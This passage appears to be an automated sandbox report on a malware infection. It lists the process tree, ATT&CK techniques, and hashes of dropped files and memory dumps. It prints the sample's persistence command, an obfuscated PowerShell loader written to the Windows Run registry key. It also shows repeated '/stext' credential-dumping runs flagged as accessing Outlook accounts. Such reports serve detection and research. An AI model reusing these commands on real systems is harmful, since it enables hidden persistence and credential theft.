    "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "rendestenen" /t REG_EXPAND_SZ /d "%Tallyhoing% -windowstyle 2 $Tissued='g'+'p';$Fortepianoernes=(.($Tissued) 'HKCU:\Software\Evitable\').'Dybvandshummernes';%Tallyhoing% ($Fortepianoernes)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4816
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "rendestenen" /t REG_EXPAND_SZ /d "%Tallyhoing% -windowstyle 2 $Tissued='g'+'p';$Fortepianoernes=(.($Tissued) 'HKCU:\Software\Evitable\').'Dybvandshummernes';%Tallyhoing% ($Fortepianoernes)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:4388
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\xvrgeoufdkdqh"
    3⤵
    PID:2384
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\xvrgeoufdkdqh"
    3⤵
    PID:2428
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\xvrgeoufdkdqh"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:6076
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\hqxrfhfgrsvvsqez"
    3⤵
    PID:1148
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\hqxrfhfgrsvvsqez"
    3⤵
    PID:4992
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\hqxrfhfgrsvvsqez"
    3⤵
    PID:5080
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\hqxrfhfgrsvvsqez"
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\hqxrfhfgrsvvsqez"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:5096
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\jscjgzqafaoiuesliiz"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6072
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\kiuxbfrrflhwfj.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4032

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 154B
SHA256 6543e4dd6132d190eae81f42830246f7066328dfa43053b9b7e2dfbfbc7f442b
MD5 2dbe5a7c481a8a718d64e33193a6d573
SHA1 61aaf90898471e38fdbcc2aadb997dcf30ce070f
SHA512 416b3d36c1bb555bbe857ee0c17a22a5ece10904c1b27d9a0712c83305de4b9dbc3a5f66cadd363ea43b9eca60c692d68bd43df2fc5380bc93e0e924b75be5c0
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0922a7d0b56e0c901a13d1617f99d752aa2abf5201089749005ecf7b413b4a91
MD5 e42748b8c5a22dfa1e01198891ce72ac
SHA1 c201063995355d307cc3916221eb9a0f10b5284f
SHA512 8be07fa5d55634cc5f7106eed3f78e5d0a21baf3bbedcfd79b55401d202a7e8d297f889d688ba0cf77a917632935bbccb43bb8c3622ff90dc4ab537ff840ad66
MD5 SHA1 SHA512

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__PSScriptPolicyTest_ckladmhb.0ci.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ckladmhb.0ci.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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kiuxbfrrflhwfj.vbs

Path C:\Users\Admin\AppData\Local\Temp\kiuxbfrrflhwfj.vbs
Size 322B
SHA256 f9a970482baa86264faef6c210212b65901857db17241d5c176b6789ee620f42
MD5 53e961fcbe2540b967efcb5e6c3fd316
SHA1 252bbd1e644ff0124e2039eede8a955d5405a98c
SHA512 5bbf4fdcbbb403b7e963a91d43aa425ebac5cfaf6e81e592162b9d4d071150c8327f89922f719c25a5cc378aa1e82e043e1f9feda4d78d6f3cdca9f8cdc73700
MD5 SHA1 SHA512

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xvrgeoufdkdqh

Path C:\Users\Admin\AppData\Local\Temp\xvrgeoufdkdqh
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

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Tegnstrengens.Gal

Path C:\Users\Admin\AppData\Roaming\Tegnstrengens.Gal
Size 462KB
SHA256 b09101be96db8babec1aaf7375c904e0c3128e305f6e1c8aa91fb1f45bacede2
MD5 a20fa86d4cb3ab908b7b0b190025f421
SHA1 c6c90038483fb03c9f3f1f13d5e19d2a85e4a7ab
SHA512 f0089c25cf0b21d85849dbe300cffb05bef1ba98e3d701b20f35c33a3dcc9c2ac0039fb72bc436f95d62f7d0fd2d5761b5dbf24fb733d05b351cde20098777b7
SSDEEP 6144:1+NAzyYQjNIMtAT3zPFQDlOmZrowM5swCv2JkYBjc5OVJwYD93GSqQViIiBpXq87:1+zf7HDl77KCbY1O0zpqjIei7bW
MD5 SHA1 SHA512 SSDEEP

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memory/1148-65-0x00000000002A0000-0x0000000000302000-memory.dmp

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memory/2428-63-0x00000000001E0000-0x0000000000262000-memory.dmp

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memory/3572-35-0x00000000086B0000-0x0000000008D2A000-memory.dmp

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memory/3572-40-0x0000000008D30000-0x00000000098AD000-memory.dmp

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memory/3572-19-0x0000000005330000-0x0000000005396000-memory.dmp

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memory/3572-20-0x0000000005B90000-0x0000000005BF6000-memory.dmp

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memory/3572-27-0x0000000005D50000-0x00000000060A7000-memory.dmp

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memory/3572-17-0x00000000054F0000-0x0000000005B1A000-memory.dmp

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memory/3572-29-0x0000000006160000-0x000000000617E000-memory.dmp

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memory/3572-30-0x0000000006790000-0x00000000067DC000-memory.dmp

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memory/3572-31-0x0000000007430000-0x00000000074C6000-memory.dmp

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memory/3572-32-0x0000000006610000-0x000000000662A000-memory.dmp

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memory/3572-33-0x00000000066C0000-0x00000000066E2000-memory.dmp

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memory/3572-34-0x0000000007A80000-0x0000000008026000-memory.dmp

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memory/3572-14-0x0000000004EB0000-0x0000000004EC0000-memory.dmp

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memory/3572-16-0x0000000004EB0000-0x0000000004EC0000-memory.dmp

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memory/3572-37-0x0000000004EB0000-0x0000000004EC0000-memory.dmp

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memory/3572-38-0x00000000077B0000-0x00000000077B2000-memory.dmp

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memory/3572-39-0x0000000008D30000-0x00000000098AD000-memory.dmp

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memory/3572-18-0x0000000005290000-0x00000000052B2000-memory.dmp

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memory/3572-41-0x0000000008D30000-0x00000000098AD000-memory.dmp

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memory/3572-15-0x0000000002940000-0x0000000002976000-memory.dmp

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memory/4944-82-0x000000001EAD0000-0x000000001EAE9000-memory.dmp

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memory/4944-50-0x0000000000E00000-0x0000000002117000-memory.dmp

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memory/4944-53-0x0000000000E00000-0x0000000002117000-memory.dmp

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memory/4944-79-0x000000001EAD0000-0x000000001EAE9000-memory.dmp

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memory/4944-83-0x000000001EAD0000-0x000000001EAE9000-memory.dmp

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memory/5096-75-0x0000000000400000-0x0000000000462000-memory.dmp

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memory/5716-1-0x000002739FE00000-0x000002739FE10000-memory.dmp

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memory/5716-0-0x000002739FE00000-0x000002739FE10000-memory.dmp

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memory/5716-7-0x00000273A2B00000-0x00000273A2B22000-memory.dmp

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memory/5716-9-0x000002739FE00000-0x000002739FE10000-memory.dmp

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memory/6072-73-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/6072-71-0x0000000000400000-0x0000000000424000-memory.dmp

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memory/6076-77-0x0000000000400000-0x0000000000482000-memory.dmp

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